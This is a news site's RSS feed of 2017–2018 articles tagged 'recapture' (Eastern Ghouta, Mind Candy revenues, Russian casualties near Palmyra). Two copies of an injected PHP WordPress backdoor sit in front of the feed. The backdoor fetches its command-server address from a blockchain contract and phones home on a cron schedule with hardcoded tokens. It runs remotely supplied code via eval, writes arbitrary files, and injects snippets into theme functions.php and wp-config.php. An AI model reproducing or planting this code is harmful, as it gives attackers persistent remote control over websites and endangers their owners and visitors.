// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); recapture – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sun, 15 Apr 2018 17:51:30 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png recapture – Brief News https://briefnews.eu 32 32 Syrian Army declares full recapture of Eastern Ghouta https://briefnews.eu/syrian-army-declares-full-recapture-of-eastern-ghouta/ https://briefnews.eu/syrian-army-declares-full-recapture-of-eastern-ghouta/#respond Sun, 15 Apr 2018 17:51:30 +0000 http://briefnews.eu/syrian-army-declares-full-recapture-of-eastern-ghouta/ The war-ravaged Damascus suburb of Eastern Ghouta has been completely liberated from militant groups, the Syrian Army has confirmed. The statement comes after the last militants left Douma.

Read more

Buses carry rebels and their families who left Douma, at Wafideen camp in Damascus, Syria, April 9, 2018. © Omar Sanadiki

The Syrian armed forces have seized all the towns and villages located in the Damascus suburb, the statement issued late Saturday said. They also confirmed that all members of the armed groups have left the area – particularly Douma, which was the last major militant stronghold in Eastern Ghouta.

Syrian engineering units have already started to clear away the rubble and remove mines and improvised explosive devices left behind by the militants. While searching through the ruins, Syrian forces found ammunition factories and weapons depots, as well as a large number of tunnels in the area.

The Russian Defense Ministry earlier deployed military police to the liberated area to team up with Syrian law enforcement and begin the registration of local residents.
“The construction equipment that has been handed over by the Russian Reconciliation Center to the local authorities, has started to… restore the local infrastructure,” the ministry said in a statement, adding that the technical services are now working on bringing water and energy service back to the area.

Read more

FILE PHOTO. © Ammar Safarjalani

The Russian Reconciliation Center also confirmed on Saturday that the last group of militants and their family members have left Douma. “The militants’ withdrawal from the city has been completed,” the head of the Syrian Reconciliation Center, Major-General Yuri Yevtushenko said, adding that a total of 21,145 militants and their family members have been evacuated from Douma since April 1.

The recapture of Eastern Ghouta follows a months-long operation of the Syrian Army aimed at liberating the area which has been under the control of armed groups for almost seven years, as it was one of the first to be seized by militants at the very beginning of the civil war. The Syrian forces, together with the Russian Reconciliation Center, also launched a humanitarian operation to help civilians leave the besieged area.

The first civilians started to flee Eastern Ghouta via humanitarian corridors in mid-March. Militants shelled civilian areas to prevent them from leaving the war-ravaged enclave and held locals hostage. Still, more than 160,000 people have managed to leave the besieged Eastern Ghouta in what is believed to be the largest exodus in the country’s seven-year war, according to the latest Russian Defense Ministry data.

Like this story? Share it with a friend!

Let’s block ads! (Why?)

]]>
https://briefnews.eu/syrian-army-declares-full-recapture-of-eastern-ghouta/feed/ 0
Mind Candy’s revenues halved in 2016 as it struggles to recapture the ‘Moshi Monster’ glory days https://briefnews.eu/mind-candys-revenues-halved-in-2016-as-it-struggles-to-recapture-the-moshi-monster-glory-days/ https://briefnews.eu/mind-candys-revenues-halved-in-2016-as-it-struggles-to-recapture-the-moshi-monster-glory-days/#respond Tue, 02 Jan 2018 12:05:07 +0000 http://briefnews.eu/mind-candys-revenues-halved-in-2016-as-it-struggles-to-recapture-the-moshi-monster-glory-days/ Mind Candy PetlandiaShona Ghosh/Business Insider

British startup Mind Candy saw its revenues more than halve in 2016, as it failed to recapture the early glory days of its hit kids’ game “Moshi Monsters.”

Mind Candy reported revenues of £3.43 million for the 12 months to 31 December, down from £7.2 million the prior year. It recorded a loss of £6.1 million, an improvement on the £10.4 million loss in 2015.

The firm couldn’t guarantee it won’t go bust at some point, saying there was “material uncertainty” over its future operations.

Mind Candy also cut three-quarters of its staff, with the employee count falling from 98 to 22 over the 12 months.

The once-hot London startup can blame one ongoing weakness for the big drop in revenue: Mobile.

Mobile revenue dropped from £3 million in 2015 to just £266,242 in 2016, the biggest decline anywhere in its business. Revenue from subscriptions also fell, dropping to £1.7 million during the year, from £2.9 million in 2015. The drop shows starkly how Mind Candy has struggled to create popular games on mobile. Its 2014 release, “World of Warriors” was acknowledged as “not a huge cash generator” by the company’s founder Michael Acton Smith during a 2017 interview with Business Insider.

Mind Candy 2016 revenueShona Ghosh/Business Insider

At Mind Candy’s peak, revenue was almost £47 million in 2012. “Moshi Monsters” was once hugely popular, and let young players take care of virtual pets online. But then followed a tough couple of years as Mind Candy failed to replicate Moshi Monsters’ success on mobile. Its fortunes declined and Acton Smith eventually stepped down as CEO, though he remains involved. 

Gaming veteran Ian Chambers took over in February 2016, and has pursued diversification. Mind Candy is still in kids’ entertainment, but has branched out to personalised storybooks and new games. The firm avoided bankruptcy in April by securing $ 1.5 million (£1.2 million) in new investment and by renegotiating a loan agreement. Its total borrowings stand at £7.97 million, which will need to be repaid in 2019. 

Chambers said in a statement: “After some well-publicized challenges, our focus for 2016 was operational efficiency, cost cutting, and setting a new strategic direction for the company. The business continued to stabilise during the year, and we launched new brands and products, including Petlandia and Moshi Monsters Egg Hunt. In the fourth quarter, we saw our monthly revenue grow year-over-year for the first time in several years. 

“This positive momentum has continued throughout 2017 with the launch of Moshi Twilight Sleep Stories. Mind Candy continues to be a leader in creating family entertainment, and everyone involved with the business is optimistic about our progress. We are excited about the potential of our new initiatives as we head into 2018.”

NOW WATCH: Here’s what Apple cofounder Steve Wozniak thinks of the net-neutrality battle — and why it matters

Feedburner

]]>
https://briefnews.eu/mind-candys-revenues-halved-in-2016-as-it-struggles-to-recapture-the-moshi-monster-glory-days/feed/ 0
Russia underreported its amount of casualties in the fight to recapture Syria’s Palmyra https://briefnews.eu/russia-underreported-its-amount-of-casualties-in-the-fight-to-recapture-syrias-palmyra/ https://briefnews.eu/russia-underreported-its-amount-of-casualties-in-the-fight-to-recapture-syrias-palmyra/#respond Wed, 22 Mar 2017 12:30:04 +0000 http://briefnews.eu/russia-underreported-its-amount-of-casualties-in-the-fight-to-recapture-syrias-palmyra/ Russian Cossack commander Vladimir Bagliy shows a local newspaper with a picture of his fellow Cossack Yuri Sokalsky (R) killed near the Syrian city of Palmyra, in the Black Sea town of Gelendzhik, Russia, March 16, 2017. REUTERS/Maria Tsvetkova Thomson Reuters

GELENDZHIK, Russia (Reuters) – Russia’s force in Syria has suffered losses since late January more than three times higher than the official toll, according to evidence gathered by Reuters, a tally that shows the fight in Syria is tougher and more costly than the Kremlin has disclosed.

Eighteen Russian citizens fighting alongside Moscow’s allies, the Syrian government forces, have been killed since Jan. 29 — a period that coincided with intense fighting to recapture the city of Palmyra from the Islamic State group.

The Russian defense ministry has publicly reported only five servicemen’s deaths in Syria over the same period, and its officials’ statements have not mentioned any large-scale Russian ground operations in the fight for Palmyra.

Military casualties abroad are not as politically sensitive in Russia as in some other countries but send a negative message ahead of a presidential election next year which is expected to give President Vladimir Putin a fourth term.

The toll was revealed in interviews with relatives and friends of the dead men, cemetery workers, local media reports of funerals and evidence collected by a group of investigative bloggers, Conflict Intelligence Team (CIT).

In each case, Reuters has independently verified information about the death by speaking to someone who knows the dead man.

The casualties since the end of January represent one of the highest tolls for the Russian contingent in Syria since the start of Moscow’s military intervention 18 months ago.

An official with the Russian foreign ministry referred questions about them to the defense ministry. The Russian defense ministry did not respond to Reuters questions about the casualties and about military operations in Syria. The Kremlin did not immediately respond to a request for comment.

Most of the dead were not regular Russian soldiers but Russian civilians working as private military contractors under the orders of Russian commanders. Moscow has not officially acknowledged the presence of the contractors in Syria.

One of the 18 men killed was Yuri Sokalsky, a 52-year-old from the Russian Black Sea resort of Gelendzhik who, according to a person close to him, signed up to go to Syria in January with a group of private contractors.

In one of his last phone calls home, the person close to him said, he expressed surprise at the large numbers of Russian contractors being despatched to Syria, and relayed what he had been told about the intensity of the combat.

“Out of every 100 people, 50 are coming back in caskets,”

the person recalled Sokalsky as saying. The person asked not to be identified, fearing repercussions for revealing information that is sensitive for the Russian authorities.

A Russian military vehicle drives near ruins in the historic city of Palmyra, Syria March 4, 2017. REUTERS/Omar Sanadiki/FilesThomson Reuters

Symbolic city 

On March 14 last year, Russian President Vladimir Putin announced a partial drawdown of Russian forces in Syria, saying their mission had, “as a whole, been fulfilled.” The fight for Palmyra this year tells a different story.

The 18 fatalities documented by Reuters include the five regular soldiers whose deaths were announced by the defense ministry, four private military contractors in one unit killed on the same day, seven other such contractors, and two regular soldiers whose deaths the defense ministry has not announced.

The period examined by Reuters coincided with the start of a major Russian deployment to the area around Palmyra, according to several people close to the dead fighters.

Several relatives of people killed in Syria said they had received phone calls from people involved in recruiting private military contractors warning them not to speak to media.

Out of the 18 dead, at least 10 were killed in the region of Palmyra, which Islamic State fighters seized in December for a second time in a year – a major reversal for Syrian government forces and their Russian backers.

On Jan. 10, Sokalsky, a land mine specialist, left his home in Gelendzhik and set off for Rostov, in southern Russia, to join a group of private contractors being despatched to Syria.

On his one previous tour to Syria, only fighters over 35 were being hired, selected to carry out specialist technical roles or train Syrian units rather than for out-and-out combat.

“This time they were taking everyone,” said the person close to Sokalsky.

Two official documents seen by Reuters show that on Jan. 31, Sokalsky died from shrapnel injuries in Tiyas, in Syria’s Homs province about 60 km west of Palmyra. Three other members of his unit, all private military contractors, were killed the same day, according to relatives, friends and cemetery officials. They were Alexei Nainodin, Roman Rudenko, and a third man whose name Reuters was not able to establish.

